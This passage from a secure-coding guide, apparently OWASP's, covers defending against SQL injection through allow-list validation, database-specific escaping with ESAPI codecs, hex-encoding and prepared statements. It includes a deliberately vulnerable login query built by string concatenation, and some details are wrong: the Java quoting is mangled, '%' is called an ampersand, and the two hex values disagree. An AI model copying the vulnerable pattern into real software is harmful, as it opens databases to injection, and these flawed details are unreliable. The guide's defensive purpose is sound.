    command.Parameters.Add(new SqlParameter("@CustomerName",
CustomerName.Text))
    Dim reader As SqlDataReader = command.ExecuteReader()
    '...
Catch se As SqlException
    'error handling
End Try

```

### **3: Allow-list Input Validation**

Various parts of SQL queries aren't legal locations for the use of bind variables, such as the names of tables or columns, and the sort order indicator (ASC or DESC). In such situations, input validation or query redesign is the most appropriate defense. For the names of tables or columns, ideally those values come from the code, and not from user parameters.



But if user parameter values are used for targeting different table names and column names, then the parameter values should be mapped to the legal/expected table or column names to make sure unvalidated user input doesn't end up in the query. Please note, this is a symptom of poor design and a full rewrite should be considered if time allows.

Here is an example of table name validation.

```
String tableName;  
switch(PARAM):  
    case "Value1": tableName = "fooTable";  
        break;  
    case "Value2": tableName = "barTable";  
        break;  
    ...  
    default : throw new InputValidationException("unexpected value  
provided"  
+ " for table name");
```

The tableName can then be directly appended to the SQL query since it is now known to be one of the legal and expected values for a table name in this query. Keep in mind that generic table validation functions can lead to data loss as table names are used in queries where they are not expected.

For something simple like a sort order, it would be best if the user supplied input is converted to a boolean, and then that boolean is used to select the safe value to append to the query. This is a very standard need in dynamic query creation.

For example:

```
public String someMethod(boolean sortOrder) {  
    String SQLquery = "some SQL ... order by Salary " + (sortOrder ? "ASC" : "DESC");  
    ...  
}
```

Any time user input can be converted to a non-String, like a date, numeric, boolean, enumerated type, etc. before it is appended to a

query, or used to select a value to append to the query, this ensures it is safe to do so.

Input validation is also recommended as a secondary defense in ALL cases, even when using bind variables .

## **4: Escaping All User-Supplied Input**

This technique should only be used as a last resort, when none of the above are feasible. Input validation is probably a better choice as this methodology is frail compared to other defenses and we cannot guarantee it will prevent all SQL Injection in all situations.

This technique is to escape user input before putting it in a query. It is very database specific in its implementation. It's usually only recommended to retrofit legacy code when implementing input validation isn't cost effective. Applications built from scratch, or applications requiring low risk tolerance should be built or re-written using parameterized queries, stored procedures, or some kind of Object Relational Mapper (ORM) that builds your queries for you.

This technique works like this. Each DBMS supports one or more character escaping schemes specific to certain kinds of queries. If you then escape all user supplied input using the proper escaping scheme for the database you are using, the DBMS will not confuse that input with SQL code written by the developer, thus avoiding any possible SQL injection vulnerabilities.

The OWASP Enterprise Security API (ESAPI) is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development:

To find the javadoc specifically for the database encoders, click on the Codec class on the left hand side. There are lots of Codecs implemented. The two Database specific codecs are OracleCodec, and MySQLCodec.

Just click on their names in the All Known Implementing Classes: at the top of the Interface Codec page.

At this time, ESAPI currently has database encoders for:

- Oracle
- MySQL (Both ANSI and native modes are supported)

Database encoders are forthcoming for:

- SQL Server
- PostgreSQL

### Database Specific Escaping Details

If you want to build your own escaping routines, here are the escaping details for each of the databases that we have developed ESAPI Encoders for:

- Oracle
- SQL Server
- DB2

### ORACLE ESCAPING

This information is based on the Oracle Escape character information.

### Escaping Dynamic Queries

To use an ESAPI database codec is pretty simple. An Oracle example looks something like:

```
ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );
```

So, if you had an existing Dynamic query being generated in your code that was going to Oracle that looked like this:

```
String query = "SELECT user_id FROM user_data WHERE user_name  
= ""  
    + req.getParameter("userID")  
    + "" and user_password = "" + req.getParameter("pwd") +"";  
try {  
    Statement statement = connection.createStatement( ... );  
    ResultSet results = statement.executeQuery( query );  
}
```

You would rewrite the first line to look like this:

```
Codec ORACLE_CODEC = new OracleCodec();  
String query = "SELECT user_id FROM user_data WHERE user_name  
= ""  
+ ESAPI.encoder().encodeForSQL( ORACLE_CODEC,  
req.getParameter("userID"))  
+ "" and user_password = ""  
+ ESAPI.encoder().encodeForSQL( ORACLE_CODEC,  
req.getParameter("pwd")) +"";
```

And it would now be safe from SQL injection, regardless of the input supplied.

For maximum code readability, you could also construct your own OracleEncoder:

```
Encoder oe = new OracleEncoder();  
String query = "SELECT user_id FROM user_data WHERE user_name  
= ""  
+ oe.encode( req.getParameter("userID")) + "" and user_password =  
""  
+ oe.encode( req.getParameter("pwd")) +"";
```

With this type of solution, you would need only to wrap each user-supplied parameter being passed into

an `ESAPI.encoder().encodeForOracle( )` call or whatever you named the call and you would be done.

## Turn off character replacement

Use `SET DEFINE OFF` or `SET SCAN OFF` to ensure that automatic character replacement is turned off. If this character replacement is turned on, the `&` character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data.

See [here](#) and [here](#) for more information

## Escaping Wildcard characters in Like Clauses

The `LIKE` keyword allows for text scanning searches. In Oracle, the underscore `_` character matches only one character, while the ampersand `%` is used to match zero or more occurrences of any characters. These characters must be escaped in `LIKE` clause criteria.

For example:

```
SELECT name FROM emp WHERE id LIKE '%/_%' ESCAPE '/';
```

```
SELECT name FROM emp WHERE id LIKE '%\%%%' ESCAPE '\';
```

## Oracle 10g escaping

An alternative for Oracle 10g and later is to place `{` and `}` around the string to escape the entire string. However, you have to be careful that there isn't a `}` character already in the string. You must search for these and if there is one, then you must replace it with `}}`. Otherwise that character will end the escaping early, and may introduce a vulnerability.

## MYSQL ESCAPING

MySQL supports two escaping modes:

1. `ANSI_QUOTES` SQL mode, and a mode with this off, which we call

## 2. MySQL mode.

**ANSI SQL mode:** Simply encode all ' (single tick) characters with " (two single ticks)

**MySQL mode,** do the following:

**NUL (0x00) --> \0** [This is a zero, not the letter O]

**BS (0x08) --> \b**

**TAB (0x09) --> \t**

**LF (0x0a) --> \n**

**CR (0x0d) --> \r**

**SUB (0x1a) --> \Z**

**" (0x22) --> \"**

**% (0x25) --> \%**

**' (0x27) --> \'**

**\ (0x5c) --> \\**

**\_ (0x5f) --> \\_**

**all other non-alphanumeric characters with ASCII values less than 256 --> \c** where 'c' is the original non-alphanumeric character.

This information is based on the MySQL Escape character information.

## SQL SERVER ESCAPING

We have not implemented the SQL Server escaping routine yet, but the following has good pointers and links to articles describing how to prevent SQL injection attacks on SQL server.

## DB2 ESCAPING

This information is based on DB2 WebQuery special characters as well as some information from Oracle's JDBC DB2 driver.

Information in regards to differences between several DB2 Universal drivers.



## Hex-encoding all input

A somewhat special case of escaping is the process of hex-encode the entire string received from the user (this can be seen as escaping every character). The web application should hex-encode the user input before including it in the SQL statement. The SQL statement should take into account this fact, and accordingly compare the data.

For example, if we have to look up a record matching a sessionID, and the user transmitted the string abc123 as the session ID, the select statement would be:

```
SELECT ... FROM session
WHERE hex_encode(sessionID) = '616263313233'
```

hex\_encode should be replaced by the particular facility for the database being used. The string 606162313233 is the hex encoded version of the string received from the user (it is the sequence of hex values of the ASCII/UTF-8 codes of the user data).

If an attacker were to transmit a string containing a single-quote character followed by their attempt to inject SQL code, the constructed SQL statement will only look like:

```
... WHERE hex_encode ( ... ) = '2720 ... '
```

27 being the ASCII code (in hex) of the single-quote, which is simply hex-encoded like any other character in the string. The resulting SQL can only contain numeric digits and letters a to f, and never any special character that could enable an SQL injection.

## Escaping SQLi in PHP

Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.

You basically have two options to achieve this:

1. Using [PDO](#) (for any supported database driver):

```
$stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name');  
$stmt->execute(array('name' => $name));  
foreach ($stmt as $row) {  
    // do something with $row  
}
```

1. Using [MySQLi](#) (for MySQL):

```
$stmt = $dbConnection->prepare('SELECT * FROM employees  
WHERE name = ?');  
$stmt->bind_param('s', $name);  
$stmt->execute();  
$result = $stmt->get_result();  
while ($row = $result->fetch_assoc()) {  
    // do something with $row  
}
```

PDO is the universal option. If you're connecting to a database other than MySQL, you can refer to a driver-specific second option (e.g. `pg_prepare()` and `pg_execute()` for PostgreSQL).